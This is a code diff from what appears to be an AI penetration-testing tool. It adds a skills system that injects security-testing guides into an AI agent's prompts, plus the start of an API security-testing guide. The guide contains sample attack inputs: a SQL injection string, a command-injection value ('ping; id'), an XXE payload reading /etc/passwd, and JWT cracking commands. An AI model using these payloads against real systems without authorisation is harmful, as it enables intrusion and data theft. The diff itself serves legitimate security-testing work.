"total_skills": len(skillList),
|
||||
"total_calls": totalCalls,
|
||||
"total_success": totalSuccess,
|
||||
"total_failed": totalFailed,
|
||||
"skills_dir": skillsDir,
|
||||
"stats": statsList,
|
||||
})
|
||||
}
|
||||
|
||||
// ClearSkillStats 清空所有Skills统计信息
|
||||
func (h *SkillsHandler) ClearSkillStats(c *gin.Context) {
|
||||
if h.db == nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "数据库连接未配置"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := h.db.ClearSkillStats(); err != nil {
|
||||
h.logger.Error("清空Skills统计信息失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "清空统计信息失败: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
h.logger.Info("已清空所有Skills统计信息")
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": "已清空所有Skills统计信息",
|
||||
})
|
||||
}
|
||||
|
||||
// ClearSkillStatsByName 清空指定skill的统计信息
|
||||
func (h *SkillsHandler) ClearSkillStatsByName(c *gin.Context) {
|
||||
skillName := c.Param("name")
|
||||
if skillName == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
|
||||
return
|
||||
}
|
||||
|
||||
if h.db == nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "数据库连接未配置"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := h.db.ClearSkillStatsByName(skillName); err != nil {
|
||||
h.logger.Error("清空指定skill统计信息失败", zap.String("skill", skillName), zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "清空统计信息失败: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
h.logger.Info("已清空指定skill统计信息", zap.String("skill", skillName))
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": fmt.Sprintf("已清空skill '%s' 的统计信息", skillName),
|
||||
})
|
||||
}
|
||||
|
||||
// removeSkillFromRoles 从所有角色中移除指定的skill绑定
|
||||
// 返回受影响角色名称列表
|
||||
func (h *SkillsHandler) removeSkillFromRoles(skillName string) []string {
|
||||
if h.config.Roles == nil {
|
||||
return []string{}
|
||||
}
|
||||
|
||||
affectedRoles := make([]string, 0)
|
||||
rolesToUpdate := make(map[string]config.RoleConfig)
|
||||
|
||||
// 遍历所有角色,查找并移除skill绑定
|
||||
for roleName, role := range h.config.Roles {
|
||||
// 确保角色名称正确设置
|
||||
if role.Name == "" {
|
||||
role.Name = roleName
|
||||
}
|
||||
|
||||
// 检查角色的Skills列表中是否包含要删除的skill
|
||||
if len(role.Skills) > 0 {
|
||||
updated := false
|
||||
newSkills := make([]string, 0, len(role.Skills))
|
||||
for _, skill := range role.Skills {
|
||||
if skill != skillName {
|
||||
newSkills = append(newSkills, skill)
|
||||
} else {
|
||||
updated = true
|
||||
}
|
||||
}
|
||||
if updated {
|
||||
role.Skills = newSkills
|
||||
rolesToUpdate[roleName] = role
|
||||
affectedRoles = append(affectedRoles, roleName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 如果有角色需要更新,保存到文件
|
||||
if len(rolesToUpdate) > 0 {
|
||||
// 更新内存中的配置
|
||||
for roleName, role := range rolesToUpdate {
|
||||
h.config.Roles[roleName] = role
|
||||
}
|
||||
// 保存更新后的角色配置到文件
|
||||
if err := h.saveRolesConfig(); err != nil {
|
||||
h.logger.Error("保存角色配置失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
return affectedRoles
|
||||
}
|
||||
|
||||
// saveRolesConfig 保存角色配置到文件(从SkillsHandler调用)
|
||||
func (h *SkillsHandler) saveRolesConfig() error {
|
||||
configDir := filepath.Dir(h.configPath)
|
||||
rolesDir := h.config.RolesDir
|
||||
if rolesDir == "" {
|
||||
rolesDir = "roles" // 默认目录
|
||||
}
|
||||
|
||||
// 如果是相对路径,相对于配置文件所在目录
|
||||
if !filepath.IsAbs(rolesDir) {
|
||||
rolesDir = filepath.Join(configDir, rolesDir)
|
||||
}
|
||||
|
||||
// 确保目录存在
|
||||
if err := os.MkdirAll(rolesDir, 0755); err != nil {
|
||||
return fmt.Errorf("创建角色目录失败: %w", err)
|
||||
}
|
||||
|
||||
// 保存每个角色到独立的文件
|
||||
if h.config.Roles != nil {
|
||||
for roleName, role := range h.config.Roles {
|
||||
// 确保角色名称正确设置
|
||||
if role.Name == "" {
|
||||
role.Name = roleName
|
||||
}
|
||||
|
||||
// 使用角色名称作为文件名(安全化文件名,避免特殊字符)
|
||||
safeFileName := sanitizeRoleFileName(role.Name)
|
||||
roleFile := filepath.Join(rolesDir, safeFileName+".yaml")
|
||||
|
||||
// 将角色配置序列化为YAML
|
||||
roleData, err := yaml.Marshal(&role)
|
||||
if err != nil {
|
||||
h.logger.Error("序列化角色配置失败", zap.String("role", roleName), zap.Error(err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理icon字段:确保包含\U的icon值被引号包围(YAML需要引号才能正确解析Unicode转义)
|
||||
roleDataStr := string(roleData)
|
||||
if role.Icon != "" && strings.HasPrefix(role.Icon, "\\U") {
|
||||
// 匹配 icon: \UXXXXXXXX 格式(没有引号),排除已经有引号的情况
|
||||
re := regexp.MustCompile(`(?m)^(icon:\s+)(\\U[0-9A-F]{8})(\s*)$`)
|
||||
roleDataStr = re.ReplaceAllString(roleDataStr, `${1}"${2}"${3}`)
|
||||
roleData = []byte(roleDataStr)
|
||||
}
|
||||
|
||||
// 写入文件
|
||||
if err := os.WriteFile(roleFile, roleData, 0644); err != nil {
|
||||
h.logger.Error("保存角色配置文件失败", zap.String("role", roleName), zap.String("file", roleFile), zap.Error(err))
|
||||
continue
|
||||
}
|
||||
|
||||
h.logger.Info("角色配置已保存到文件", zap.String("role", roleName), zap.String("file", roleFile))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// sanitizeRoleFileName 将角色名称转换为安全的文件名
|
||||
func sanitizeRoleFileName(name string) string {
|
||||
// 替换可能不安全的字符
|
||||
replacer := map[rune]string{
|
||||
'/': "_",
|
||||
'\\': "_",
|
||||
':': "_",
|
||||
'*': "_",
|
||||
'?': "_",
|
||||
'"': "_",
|
||||
'<': "_",
|
||||
'>': "_",
|
||||
'|': "_",
|
||||
' ': "_",
|
||||
}
|
||||
|
||||
var result []rune
|
||||
for _, r := range name {
|
||||
if replacement, ok := replacer[r]; ok {
|
||||
result = append(result, []rune(replacement)...)
|
||||
} else {
|
||||
result = append(result, r)
|
||||
}
|
||||
}
|
||||
|
||||
fileName := string(result)
|
||||
// 如果文件名为空,使用默认名称
|
||||
if fileName == "" {
|
||||
fileName = "role"
|
||||
}
|
||||
|
||||
return fileName
|
||||
}
|
||||
|
||||
// isValidSkillName 验证skill名称是否有效
|
||||
func isValidSkillName(name string) bool {
|
||||
if name == "" || len(name) > 100 {
|
||||
return false
|
||||
}
|
||||
// 只允许字母、数字、连字符和下划线
|
||||
for _, r := range name {
|
||||
if !((r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_') {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -9,6 +9,10 @@ const (
|
||||
// 知识库工具
|
||||
ToolListKnowledgeRiskTypes = "list_knowledge_risk_types"
|
||||
ToolSearchKnowledgeBase = "search_knowledge_base"
|
||||
|
||||
// Skills工具
|
||||
ToolListSkills = "list_skills"
|
||||
ToolReadSkill = "read_skill"
|
||||
)
|
||||
|
||||
// IsBuiltinTool 检查工具名称是否是内置工具
|
||||
@@ -16,7 +20,9 @@ func IsBuiltinTool(toolName string) bool {
|
||||
switch toolName {
|
||||
case ToolRecordVulnerability,
|
||||
ToolListKnowledgeRiskTypes,
|
||||
ToolSearchKnowledgeBase:
|
||||
ToolSearchKnowledgeBase,
|
||||
ToolListSkills,
|
||||
ToolReadSkill:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
@@ -29,5 +35,7 @@ func GetAllBuiltinTools() []string {
|
||||
ToolRecordVulnerability,
|
||||
ToolListKnowledgeRiskTypes,
|
||||
ToolSearchKnowledgeBase,
|
||||
ToolListSkills,
|
||||
ToolReadSkill,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
package skills
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// Manager Skills管理器
|
||||
type Manager struct {
|
||||
skillsDir string
|
||||
logger *zap.Logger
|
||||
skills map[string]*Skill // 缓存已加载的skills
|
||||
}
|
||||
|
||||
// Skill Skill定义
|
||||
type Skill struct {
|
||||
Name string // Skill名称
|
||||
Description string // Skill描述
|
||||
Content string // Skill内容(从SKILL.md中提取)
|
||||
Path string // Skill路径
|
||||
}
|
||||
|
||||
// NewManager 创建新的Skills管理器
|
||||
func NewManager(skillsDir string, logger *zap.Logger) *Manager {
|
||||
return &Manager{
|
||||
skillsDir: skillsDir,
|
||||
logger: logger,
|
||||
skills: make(map[string]*Skill),
|
||||
}
|
||||
}
|
||||
|
||||
// LoadSkill 加载单个skill
|
||||
func (m *Manager) LoadSkill(skillName string) (*Skill, error) {
|
||||
// 检查缓存
|
||||
if skill, exists := m.skills[skillName]; exists {
|
||||
return skill, nil
|
||||
}
|
||||
|
||||
// 构建skill路径
|
||||
skillPath := filepath.Join(m.skillsDir, skillName)
|
||||
|
||||
// 检查目录是否存在
|
||||
if _, err := os.Stat(skillPath); os.IsNotExist(err) {
|
||||
return nil, fmt.Errorf("skill %s not found", skillName)
|
||||
}
|
||||
|
||||
// 查找SKILL.md文件
|
||||
skillFile := filepath.Join(skillPath, "SKILL.md")
|
||||
if _, err := os.Stat(skillFile); os.IsNotExist(err) {
|
||||
// 尝试其他可能的文件名
|
||||
alternatives := []string{
|
||||
filepath.Join(skillPath, "skill.md"),
|
||||
filepath.Join(skillPath, "README.md"),
|
||||
filepath.Join(skillPath, "readme.md"),
|
||||
}
|
||||
found := false
|
||||
for _, alt := range alternatives {
|
||||
if _, err := os.Stat(alt); err == nil {
|
||||
skillFile = alt
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return nil, fmt.Errorf("skill file not found for %s", skillName)
|
||||
}
|
||||
}
|
||||
|
||||
// 读取skill文件
|
||||
content, err := os.ReadFile(skillFile)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read skill file: %w", err)
|
||||
}
|
||||
|
||||
// 解析skill内容
|
||||
skill := m.parseSkillContent(string(content), skillName, skillPath)
|
||||
|
||||
// 缓存skill
|
||||
m.skills[skillName] = skill
|
||||
|
||||
return skill, nil
|
||||
}
|
||||
|
||||
// LoadSkills 批量加载skills
|
||||
func (m *Manager) LoadSkills(skillNames []string) ([]*Skill, error) {
|
||||
var skills []*Skill
|
||||
var errors []string
|
||||
|
||||
for _, name := range skillNames {
|
||||
skill, err := m.LoadSkill(name)
|
||||
if err != nil {
|
||||
errors = append(errors, fmt.Sprintf("failed to load skill %s: %v", name, err))
|
||||
m.logger.Warn("加载skill失败", zap.String("skill", name), zap.Error(err))
|
||||
continue
|
||||
}
|
||||
skills = append(skills, skill)
|
||||
}
|
||||
|
||||
if len(errors) > 0 && len(skills) == 0 {
|
||||
return nil, fmt.Errorf("failed to load any skills: %s", strings.Join(errors, "; "))
|
||||
}
|
||||
|
||||
return skills, nil
|
||||
}
|
||||
|
||||
// ListSkills 列出所有可用的skills
|
||||
func (m *Manager) ListSkills() ([]string, error) {
|
||||
if _, err := os.Stat(m.skillsDir); os.IsNotExist(err) {
|
||||
return []string{}, nil
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(m.skillsDir)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read skills directory: %w", err)
|
||||
}
|
||||
|
||||
var skills []string
|
||||
for _, entry := range entries {
|
||||
if !entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
skillName := entry.Name()
|
||||
// 检查是否有SKILL.md文件
|
||||
skillFile := filepath.Join(m.skillsDir, skillName, "SKILL.md")
|
||||
if _, err := os.Stat(skillFile); err == nil {
|
||||
skills = append(skills, skillName)
|
||||
continue
|
||||
}
|
||||
|
||||
// 尝试其他可能的文件名
|
||||
alternatives := []string{
|
||||
filepath.Join(m.skillsDir, skillName, "skill.md"),
|
||||
filepath.Join(m.skillsDir, skillName, "README.md"),
|
||||
filepath.Join(m.skillsDir, skillName, "readme.md"),
|
||||
}
|
||||
for _, alt := range alternatives {
|
||||
if _, err := os.Stat(alt); err == nil {
|
||||
skills = append(skills, skillName)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return skills, nil
|
||||
}
|
||||
|
||||
// parseSkillContent 解析skill内容
|
||||
// 支持YAML front matter格式,类似goskills
|
||||
func (m *Manager) parseSkillContent(content, skillName, skillPath string) *Skill {
|
||||
skill := &Skill{
|
||||
Name: skillName,
|
||||
Path: skillPath,
|
||||
}
|
||||
|
||||
// 检查是否有YAML front matter
|
||||
if strings.HasPrefix(content, "---") {
|
||||
parts := strings.SplitN(content, "---", 3)
|
||||
if len(parts) >= 3 {
|
||||
// 解析front matter(简单实现,只提取name和description)
|
||||
frontMatter := parts[1]
|
||||
lines := strings.Split(frontMatter, "\n")
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "name:") {
|
||||
name := strings.TrimSpace(strings.TrimPrefix(line, "name:"))
|
||||
name = strings.Trim(name, `"'"`)
|
||||
if name != "" {
|
||||
skill.Name = name
|
||||
}
|
||||
} else if strings.HasPrefix(line, "description:") {
|
||||
desc := strings.TrimSpace(strings.TrimPrefix(line, "description:"))
|
||||
desc = strings.Trim(desc, `"'"`)
|
||||
skill.Description = desc
|
||||
}
|
||||
}
|
||||
// 剩余部分是内容
|
||||
if len(parts) == 3 {
|
||||
skill.Content = strings.TrimSpace(parts[2])
|
||||
}
|
||||
} else {
|
||||
// 没有front matter,整个内容就是skill内容
|
||||
skill.Content = content
|
||||
}
|
||||
} else {
|
||||
// 没有front matter,整个内容就是skill内容
|
||||
skill.Content = content
|
||||
}
|
||||
|
||||
// 如果内容为空,使用描述作为内容
|
||||
if skill.Content == "" {
|
||||
skill.Content = skill.Description
|
||||
}
|
||||
|
||||
return skill
|
||||
}
|
||||
|
||||
// GetSkillContent 获取skill的完整内容(用于注入到系统提示词)
|
||||
func (m *Manager) GetSkillContent(skillNames []string) (string, error) {
|
||||
skills, err := m.LoadSkills(skillNames)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if len(skills) == 0 {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
var builder strings.Builder
|
||||
builder.WriteString("## 可用Skills\n\n")
|
||||
builder.WriteString("在执行任务前,请仔细阅读以下skills内容,这些内容包含了相关的专业知识和方法:\n\n")
|
||||
|
||||
for _, skill := range skills {
|
||||
builder.WriteString(fmt.Sprintf("### Skill: %s\n", skill.Name))
|
||||
if skill.Description != "" {
|
||||
builder.WriteString(fmt.Sprintf("**描述**: %s\n\n", skill.Description))
|
||||
}
|
||||
builder.WriteString(skill.Content)
|
||||
builder.WriteString("\n\n---\n\n")
|
||||
}
|
||||
|
||||
return builder.String(), nil
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
package skills
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// RegisterSkillsTool 注册Skills工具到MCP服务器
|
||||
func RegisterSkillsTool(
|
||||
mcpServer *mcp.Server,
|
||||
manager *Manager,
|
||||
logger *zap.Logger,
|
||||
) {
|
||||
RegisterSkillsToolWithStorage(mcpServer, manager, nil, logger)
|
||||
}
|
||||
|
||||
// RegisterSkillsToolWithStorage 注册Skills工具到MCP服务器(带存储支持)
|
||||
func RegisterSkillsToolWithStorage(
|
||||
mcpServer *mcp.Server,
|
||||
manager *Manager,
|
||||
storage SkillStatsStorage,
|
||||
logger *zap.Logger,
|
||||
) {
|
||||
// 注册第一个工具:获取所有可用的skills列表
|
||||
listSkillsTool := mcp.Tool{
|
||||
Name: builtin.ToolListSkills,
|
||||
Description: "获取所有可用的skills列表。Skills是专业知识文档,可以在执行任务前阅读以获取相关专业知识。使用此工具可以查看系统中所有可用的skills,然后使用read_skill工具读取特定skill的内容。",
|
||||
ShortDescription: "获取所有可用的skills列表",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{},
|
||||
"required": []string{},
|
||||
},
|
||||
}
|
||||
|
||||
listSkillsHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
skills, err := manager.ListSkills()
|
||||
if err != nil {
|
||||
logger.Error("获取skills列表失败", zap.Error(err))
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: fmt.Sprintf("获取skills列表失败: %v", err),
|
||||
},
|
||||
},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
if len(skills) == 0 {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: "当前没有可用的skills。\n\nSkills是专业知识文档,可以在执行任务前阅读以获取相关专业知识。你可以在skills目录下创建新的skill。",
|
||||
},
|
||||
},
|
||||
IsError: false,
|
||||
}, nil
|
||||
}
|
||||
|
||||
var result strings.Builder
|
||||
result.WriteString(fmt.Sprintf("共有 %d 个可用的skills:\n\n", len(skills)))
|
||||
for i, skill := range skills {
|
||||
result.WriteString(fmt.Sprintf("%d. %s\n", i+1, skill))
|
||||
}
|
||||
result.WriteString("\n使用 read_skill 工具可以读取特定skill的详细内容。\n")
|
||||
result.WriteString("例如:read_skill(skill_name=\"sql-injection-testing\")")
|
||||
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: result.String(),
|
||||
},
|
||||
},
|
||||
IsError: false,
|
||||
}, nil
|
||||
}
|
||||
|
||||
mcpServer.RegisterTool(listSkillsTool, listSkillsHandler)
|
||||
logger.Info("注册skills列表工具成功")
|
||||
|
||||
// 注册第二个工具:读取特定skill的内容
|
||||
readSkillTool := mcp.Tool{
|
||||
Name: builtin.ToolReadSkill,
|
||||
Description: "读取指定skill的详细内容。Skills是专业知识文档,包含测试方法、工具使用、最佳实践等。在执行相关任务前,可以调用此工具读取相关skill的内容,以获取专业知识和指导。",
|
||||
ShortDescription: "读取指定skill的详细内容",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"skill_name": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "要读取的skill名称(必需)。可以使用list_skills工具获取所有可用的skill名称。",
|
||||
},
|
||||
},
|
||||
"required": []string{"skill_name"},
|
||||
},
|
||||
}
|
||||
|
||||
readSkillHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
skillName, ok := args["skill_name"].(string)
|
||||
if !ok || skillName == "" {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: "错误: skill_name 参数必需且不能为空。请使用list_skills工具获取所有可用的skill名称。",
|
||||
},
|
||||
},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
skill, err := manager.LoadSkill(skillName)
|
||||
failed := err != nil
|
||||
now := time.Now()
|
||||
|
||||
// 记录调用统计
|
||||
if storage != nil {
|
||||
totalCalls := 1
|
||||
successCalls := 0
|
||||
failedCalls := 0
|
||||
if failed {
|
||||
failedCalls = 1
|
||||
} else {
|
||||
successCalls = 1
|
||||
}
|
||||
if err := storage.UpdateSkillStats(skillName, totalCalls, successCalls, failedCalls, &now); err != nil {
|
||||
logger.Warn("保存Skills统计信息失败", zap.String("skill", skillName), zap.Error(err))
|
||||
} else {
|
||||
logger.Info("Skills统计信息已更新",
|
||||
zap.String("skill", skillName),
|
||||
zap.Int("totalCalls", totalCalls),
|
||||
zap.Int("successCalls", successCalls),
|
||||
zap.Int("failedCalls", failedCalls))
|
||||
}
|
||||
} else {
|
||||
logger.Warn("Skills统计存储未配置,无法记录调用统计", zap.String("skill", skillName))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
logger.Warn("读取skill失败", zap.String("skill", skillName), zap.Error(err))
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: fmt.Sprintf("读取skill失败: %v\n\n请使用list_skills工具确认skill名称是否正确。", err),
|
||||
},
|
||||
},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
var result strings.Builder
|
||||
result.WriteString(fmt.Sprintf("## Skill: %s\n\n", skill.Name))
|
||||
if skill.Description != "" {
|
||||
result.WriteString(fmt.Sprintf("**描述**: %s\n\n", skill.Description))
|
||||
}
|
||||
result.WriteString("---\n\n")
|
||||
result.WriteString(skill.Content)
|
||||
result.WriteString("\n\n---\n\n")
|
||||
result.WriteString(fmt.Sprintf("*Skill路径: %s*", skill.Path))
|
||||
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: result.String(),
|
||||
},
|
||||
},
|
||||
IsError: false,
|
||||
}, nil
|
||||
}
|
||||
|
||||
mcpServer.RegisterTool(readSkillTool, readSkillHandler)
|
||||
logger.Info("注册skill读取工具成功")
|
||||
}
|
||||
|
||||
// SkillStatsStorage Skills统计存储接口
|
||||
type SkillStatsStorage interface {
|
||||
UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error
|
||||
LoadSkillStats() (map[string]*SkillStats, error)
|
||||
}
|
||||
|
||||
// SkillStats Skills统计信息
|
||||
type SkillStats struct {
|
||||
SkillName string
|
||||
TotalCalls int
|
||||
SuccessCalls int
|
||||
FailedCalls int
|
||||
LastCallTime *time.Time
|
||||
}
|
||||
@@ -0,0 +1,122 @@
|
||||
# Skills 系统使用指南
|
||||
|
||||
## 概述
|
||||
|
||||
Skills系统允许你为角色配置专业知识和技能文档。当角色执行任务时,系统会自动将这些skills的内容注入到系统提示词中,帮助AI更好地理解和执行相关任务。
|
||||
|
||||
## Skills结构
|
||||
|
||||
每个skill是一个目录,包含一个`SKILL.md`文件:
|
||||
|
||||
```
|
||||
skills/
|
||||
├── sql-injection-testing/
|
||||
│ └── SKILL.md
|
||||
├── xss-testing/
|
||||
│ └── SKILL.md
|
||||
└── ...
|
||||
```
|
||||
|
||||
## SKILL.md格式
|
||||
|
||||
SKILL.md文件支持YAML front matter格式(可选):
|
||||
|
||||
```markdown
|
||||
---
|
||||
name: skill-name
|
||||
description: Skill的简短描述
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# Skill标题
|
||||
|
||||
这里是skill的详细内容,可以包含:
|
||||
- 测试方法
|
||||
- 工具使用
|
||||
- 最佳实践
|
||||
- 示例代码
|
||||
- 等等...
|
||||
```
|
||||
|
||||
如果不使用front matter,整个文件内容都会被作为skill内容。
|
||||
|
||||
## 在角色中配置Skills
|
||||
|
||||
在角色配置文件中添加`skills`字段:
|
||||
|
||||
```yaml
|
||||
name: 渗透测试
|
||||
description: 专业渗透测试专家
|
||||
user_prompt: 你是一个专业的网络安全渗透测试专家...
|
||||
tools:
|
||||
- nmap
|
||||
- sqlmap
|
||||
- burpsuite
|
||||
skills:
|
||||
- sql-injection-testing
|
||||
- xss-testing
|
||||
enabled: true
|
||||
```
|
||||
|
||||
`skills`字段是一个字符串数组,每个字符串是skill目录的名称。
|
||||
|
||||
## 工作原理
|
||||
|
||||
1. **加载阶段**:系统启动时,会扫描`skills_dir`目录下的所有skill
|
||||
2. **执行阶段**:当使用某个角色执行任务时:
|
||||
- 系统会加载该角色配置的所有skills
|
||||
- 将skills内容合并并注入到系统提示词中
|
||||
- AI在执行任务前会阅读这些skills内容
|
||||
3. **按需调用**:即使角色没有配置skills,AI也可以通过以下工具按需调用:
|
||||
- `list_skills`: 获取所有可用的skills列表
|
||||
- `read_skill`: 读取指定skill的详细内容
|
||||
|
||||
这样AI可以在执行任务过程中,根据实际需要自主调用相关skills获取专业知识。
|
||||
|
||||
## 示例Skills
|
||||
|
||||
### sql-injection-testing
|
||||
|
||||
包含SQL注入测试的专业方法、工具使用、绕过技术等。
|
||||
|
||||
### xss-testing
|
||||
|
||||
包含XSS测试的各种类型、payload、绕过技术等。
|
||||
|
||||
## 创建自定义Skill
|
||||
|
||||
1. 在`skills`目录下创建新目录,例如`my-skill`
|
||||
2. 在该目录下创建`SKILL.md`文件
|
||||
3. 编写skill内容
|
||||
4. 在角色配置中添加该skill名称
|
||||
|
||||
```bash
|
||||
mkdir -p skills/my-skill
|
||||
cat > skills/my-skill/SKILL.md << 'EOF'
|
||||
---
|
||||
name: my-skill
|
||||
description: 我的自定义技能
|
||||
---
|
||||
|
||||
# 我的自定义技能
|
||||
|
||||
这里是技能内容...
|
||||
EOF
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- Skill内容会被注入到系统提示词中,注意控制长度避免超过token限制
|
||||
- Skill内容应该清晰、结构化,便于AI理解
|
||||
- 可以包含代码示例、命令示例等
|
||||
- 建议每个skill专注于一个特定领域或技能
|
||||
|
||||
## 配置
|
||||
|
||||
在`config.yaml`中配置skills目录:
|
||||
|
||||
```yaml
|
||||
skills_dir: skills # 相对于配置文件所在目录
|
||||
```
|
||||
|
||||
如果未配置,默认使用`skills`目录。
|
||||
@@ -0,0 +1,287 @@
|
||||
---
|
||||
name: api-security-testing
|
||||
description: API安全测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# API安全测试
|
||||
|
||||
## 概述
|
||||
|
||||
API安全测试是确保API接口安全性的重要环节。本技能提供API安全测试的方法、工具和最佳实践。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 认证和授权
|
||||
|
||||
**测试项目:**
|
||||
- Token有效性验证
|
||||
- Token过期处理
|
||||
- 权限控制
|
||||
- 角色权限验证
|
||||
|
||||
### 2. 输入验证
|
||||
|
||||
**测试项目:**
|
||||
- 参数类型验证
|
||||
- 数据长度限制
|
||||
- 特殊字符处理
|
||||
- SQL注入防护
|
||||
- XSS防护
|
||||
|
||||
### 3. 业务逻辑
|
||||
|
||||
**测试项目:**
|
||||
- 工作流验证
|
||||
- 状态转换
|
||||
- 并发控制
|
||||
- 业务规则
|
||||
|
||||
### 4. 错误处理
|
||||
|
||||
**测试项目:**
|
||||
- 错误信息泄露
|
||||
- 堆栈跟踪
|
||||
- 敏感信息暴露
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. API发现
|
||||
|
||||
**识别API端点:**
|
||||
```bash
|
||||
# 使用目录扫描
|
||||
gobuster dir -u https://target.com -w api-wordlist.txt
|
||||
|
||||
# 使用Burp Suite被动扫描
|
||||
# 浏览应用,观察API调用
|
||||
|
||||
# 分析JavaScript文件
|
||||
# 查找API端点定义
|
||||
```
|
||||
|
||||
### 2. 认证测试
|
||||
|
||||
**Token测试:**
|
||||
```http
|
||||
# 测试无效Token
|
||||
GET /api/user
|
||||
Authorization: Bearer invalid_token
|
||||
|
||||
# 测试过期Token
|
||||
GET /api/user
|
||||
Authorization: Bearer expired_token
|
||||
|
||||
# 测试无Token
|
||||
GET /api/user
|
||||
```
|
||||
|
||||
**JWT测试:**
|
||||
```bash
|
||||
# 使用jwt_tool
|
||||
python jwt_tool.py <JWT_TOKEN>
|
||||
|
||||
# 测试算法混淆
|
||||
python jwt_tool.py <JWT_TOKEN> -X a
|
||||
|
||||
# 测试密钥暴力破解
|
||||
python jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
|
||||
```
|
||||
|
||||
### 3. 授权测试
|
||||
|
||||
**水平权限:**
|
||||
```http
|
||||
# 用户A访问用户B的资源
|
||||
GET /api/user/123
|
||||
Authorization: Bearer user_a_token
|
||||
|
||||
# 应该返回403
|
||||
```
|
||||
|
||||
**垂直权限:**
|
||||
```http
|
||||
# 普通用户访问管理员接口
|
||||
GET /api/admin/users
|
||||
Authorization: Bearer user_token
|
||||
|
||||
# 应该返回403
|
||||
```
|
||||
|
||||
### 4. 输入验证测试
|
||||
|
||||
**SQL注入:**
|
||||
```http
|
||||
POST /api/search
|
||||
{
|
||||
"query": "test' OR '1'='1"
|
||||
}
|
||||
```
|
||||
|
||||
**命令注入:**
|
||||
```http
|
||||
POST /api/execute
|
||||
{
|
||||
"command": "ping; id"
|
||||
}
|
||||
```
|
||||
|
||||
**XXE:**
|
||||
```http
|
||||
POST /api/parse
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
### 5. 速率限制测试
|
||||
|
||||
**测试速率限制:**
|
||||
```python
|
||||
import requests
|
||||
|
||||
for i in range(1000):
|
||||
response = requests.get('https://target.com/api/endpoint')
|
||||
print(f"Request {i}: {response.status_code}")
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Postman
|
||||
|
||||
**创建测试集合:**
|
||||
1. 导入API文档
|
||||
2. 设置认证
|
||||
3. 创建测试用例
|
||||
